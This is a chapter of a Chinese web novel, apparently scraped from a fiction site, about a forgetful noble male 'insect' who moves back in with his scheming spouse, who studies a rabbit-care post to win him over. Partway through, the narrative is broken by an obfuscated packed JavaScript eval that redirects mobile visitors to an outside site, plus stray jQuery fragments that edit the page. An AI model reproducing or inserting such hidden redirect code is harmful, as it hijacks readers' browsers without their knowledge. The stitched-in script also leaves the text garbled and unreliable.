20.第二十章

作品:《顶配联姻,但雄主失忆

    【20】


    对于搬回来这件事,圣阁下是有过理智、充分的思考的。


    本身他就才在视频通讯里对伊格里斯发过火,高等种雄虫轻易不会做剥夺雌君财产的大事,为了避免被公众误以为圣阁下和议员长夫夫不合、感情破灭,搬回来同居,是非常有必要的。


    当然不是因为圣地待久了空荡荡的无聊。


    嗯。


    肯定不是。


    收拾好行李,已经是晚上八点。


    今夜的议员长先生格外安分。


    圣阁下洗澡的时候,议员长先生老实地坐在外面,认真研究了一会儿浴室大门的材质,理性地、客观地反思:当初装修主宅的时候,为什么要选择遮蔽性最强的磨砂门呢?


    真的很丑。


    半个小时后。


    诺厄从浴室里出来的时候,一眼就看见了坐在客厅沙发上黑发雌虫。议员长先生拿着本书,目不斜视、姿态随意地翻看着,见雄虫出来,也只是抬眸看他一眼,便平淡地收回了目光。


    “要不要喝杯睡前牛奶?”他问。


    圣阁下微妙地迟疑几秒,矜持地拒绝了。


    一位成熟、理智的成年雄虫,当然不会喝这种小虫崽睡前必备的甜甜饮料。


    圣阁下不喝牛奶,但如果雌君以牛奶有助身体健康,能够帮助身处陌生环境的雄虫安然入睡为由,坚持塞过来,那他也不是不行。


    察觉到雄虫眼里隐晦的期待,伊格里斯沉吟片刻,想起失忆前的圣阁下似乎一直都有睡前小酌的习惯,想了想,试探性地道:“那就……来杯伯朗酒?”


    在朦胧的小夜灯下浅酌一口。


    成熟,优雅,有品。


    很符合他的雄主一贯清冷出尘、高贵冷艳的形象定位。


    圣阁下没理他。


    圣阁下把头转到一边,冷淡地关上了门。


    圣阁下很不开心。


    不奖励他两块小蛋糕也就算了,怎么还把本来说好的那一块也拿走了呢?


    他的雌君,真的很过分。


    主卧内。


    议员长启动光脑,熟练地黑进圣地阁下们专属的内部论坛,在名为【宠物奇缘】的专区,找到他收藏已久的贴子——


    【标题:如何饲养一只垂耳兔】


    【内容:众所周知,垂耳兔是一种非常可爱、喜欢撒娇的小动物。它们凭借乖巧、黏糊的性格,成为了很多阁下心中仅次于绒绒球的宠物伴侣,那么,作为新手铲屎官,我们该如何从零开始饲养一只垂耳兔呢?


    首先,你需要与垂耳兔建立信任。


    刚接回来的垂耳兔,不要急着触碰它,更不要强行互动。垂耳兔喜欢安静,前三天一定要静养,让它们自己慢慢探索、熟悉环境,给它足够的安全感。】


    ……


    伊格里斯若有所思。


    难怪当初在医院里的时候,圣阁下一开始还主动和他贴贴,后来却有意避开、连连闪躲,原来是被他rua应激了。


    果然,论垂耳兔饲养的技巧,还是得看雄虫。


    议员长暗自点头,一边认认真真地低头做笔记,一边客观回顾、审视自己今晚的表现:没有逗弄,没有冒犯,主动和雄主保持距离的同时,又兼顾了高等种雌虫所应有的优雅风度。


    换算成恋爱游戏里的好感度,满分一百分,怎么也能加个十分吧?


    想起十分钟前,那扇在他面前冷漠关闭的卧室大门,伊格里斯迟疑几秒,决定稍微保守一点计算。


    那就……五分?


    一墙之隔的另一间主卧内。


    高等特权种们历来都没有夫夫同床共枕的传统,只要不是穷到拿不出钱,所有贵族庄园在最初的建设阶段,都会成对制地设计双主卧。大多贵族夫夫即便结婚多年,也维持着每虫一间主卧室,彼此之间分房睡的传统。


    圣阁下和议员长夫夫,显然也不例外。


    奥威尔庄园的主卧很大。


    雄虫抱着枕头,从床头滚到床尾,又从床尾滚回床头。滚到一半,意识到自己干了什么,年轻的圣阁下揉了揉自己的耳朵,脸上掠过一丝懊恼的神色。


    抬头,谨慎地左右看了看。


    房间内,窗帘大门始终紧闭,谈不上密不透风,却也不至于飞进来半只虫。


    他几不可闻地松口气,下巴压在软绵绵的枕头上,目光盯着熟悉又陌生的墙面,微微走神。


    这间主卧和他在圣地的房间设计很像——简约,冷淡,大方,一看就知道里头睡的是只不苟言笑、气场强势的大虫物,就连空间的大小、房间的摆设,夜间静悄悄、空荡荡的氛围,都复刻得一模一样。


    诺厄并不讨厌这样的设计,毕竟过去这么多年以来,他一直都是这么睡过来的。


    但是。


    圣阁下盯着雪白的天花板,陷入了沉思:在圣地的时候,他独自一虫睡空荡安静、线条冰冷的大房子,搬回来之后,他还是独自一虫空荡安静、线条冰冷的大房子。


    ——那他不是白搬回来了吗?


    ……


    翌日,清晨。


    天刚灰蒙蒙的亮。


    一大早,伊格里斯便神清气爽地起了床。


    初冬的清晨潮湿又阴冷,年轻的议员长却恍若未觉,心情愉快地下楼,像是某种主权意识极强的野兽巡视自己的领地一般,在庭院、大厅和走廊之间,优哉游哉地散起了步。


    这么绕完一圈,议员长小幅度地蹙了蹙眉,总觉得还是差了点什么。


    是什么呢?


    他沉吟片刻,伸手拨通某个通讯。


    通讯的另一端很快被接通,大概误以为他有急事,小维洛里亚先生强压着大清早被叫醒的不爽,没好气地道:“大清早的,你又发什么疯?先说好,借钱的事想都别想,我是绝对不会背叛诺厄,和你狼狈为奸的!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538455|169193||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“不是借钱。”


    “那是什么?”卢西安·维洛里亚问,同时敏锐地察觉出几分不对——这个逼不是昨天才被诺厄没收财产,正一贫如洗吗,这语气听起来是不是有点太轻快了?


    “没什么。”


    对于深陷怒火、态度不善的小舅舅,议员长先生表现出了十足的耐心和友善:“以防你不知道,我这边先跟你说一声:雄主昨晚就从圣地搬回来了,以后再想探视圣阁下,你可以不用再去圣地申请探亲权,直接来我家。”


    他问:“小舅舅,你开心吗?”


    “伊格里斯我$@#^&——”


    在小维洛里亚先生破口大骂出声之前,黑发雌虫眼疾手快,熟练地挂断了通讯。想了想,又拨通了另一个通话。


    “埃尔顿。”


    作为下属,并不年轻且未婚的秘书长俨然没有在顶头上司面前出言不逊的勇气和底气。昨晚还为议员长和圣阁下夫夫操碎了心,连夜加班加点写预案的雌虫长长的叹口气,有气无力地道:“还有什么事?”


    议员长先生冷静开口,矜持含蓄地提点:“我想了一下,你在做预案的时候,其实完全可以不用考虑失败的可能。”


    有《垂耳兔饲养宝典》在手,他都不知道自己该怎么输。


    秘书长冷漠地挂断了电话。


    普信雌,真下头。


    两通电话打完,议员长先生犹觉不足。


    可惜了。伊格里斯遗憾地想。


    归根结底,还是他的交友圈太过狭窄,以至于身边能炫耀……不是,能好好说句知心话的雌虫好友都没有。


    得想个办法和维洛里亚家主做朋友。


    早上八点。


    议员长先生特地换了身低调又不失设计感的衣服,路过隔壁的主卧。


    发型没问题,衣服也没问题。


    就是领带稍微有一点歪,但问题不大。


    职场心得第十七条:做事情不必过于追求完美,需适当留有余地,以便领导提出指导、修改意见,既能让对方参与其中,又能彰显领导的目光如炬、高瞻远瞩。


    议员长先生认真地在心里计算了一下。


    他现在的好感度有五分。


    按照恋爱游戏约定俗成的规矩,不同的好感度数值,往往对应了恋爱对象不同的反馈态度,他手里的这个五分,不说换圣阁下一个浅浅的微笑,换一句淡淡的“早安”,应该没问题吧?


    这么想着。


    黑发雌虫慢悠悠地走过去,稍稍抬头,侧目,目光不经意地扫向半开的主卧。


    风吹过走廊,撩起窗帘,也推开半遮掩的大门。


    没有声音,没有阳光。


    当然,也没有垂耳兔。


    伊格里斯:“……!!”


    雄主呢?


    他好不容易设法从圣地骗……不是,他好不容易从圣地哄回来,那么可爱的一只大雪团子呢?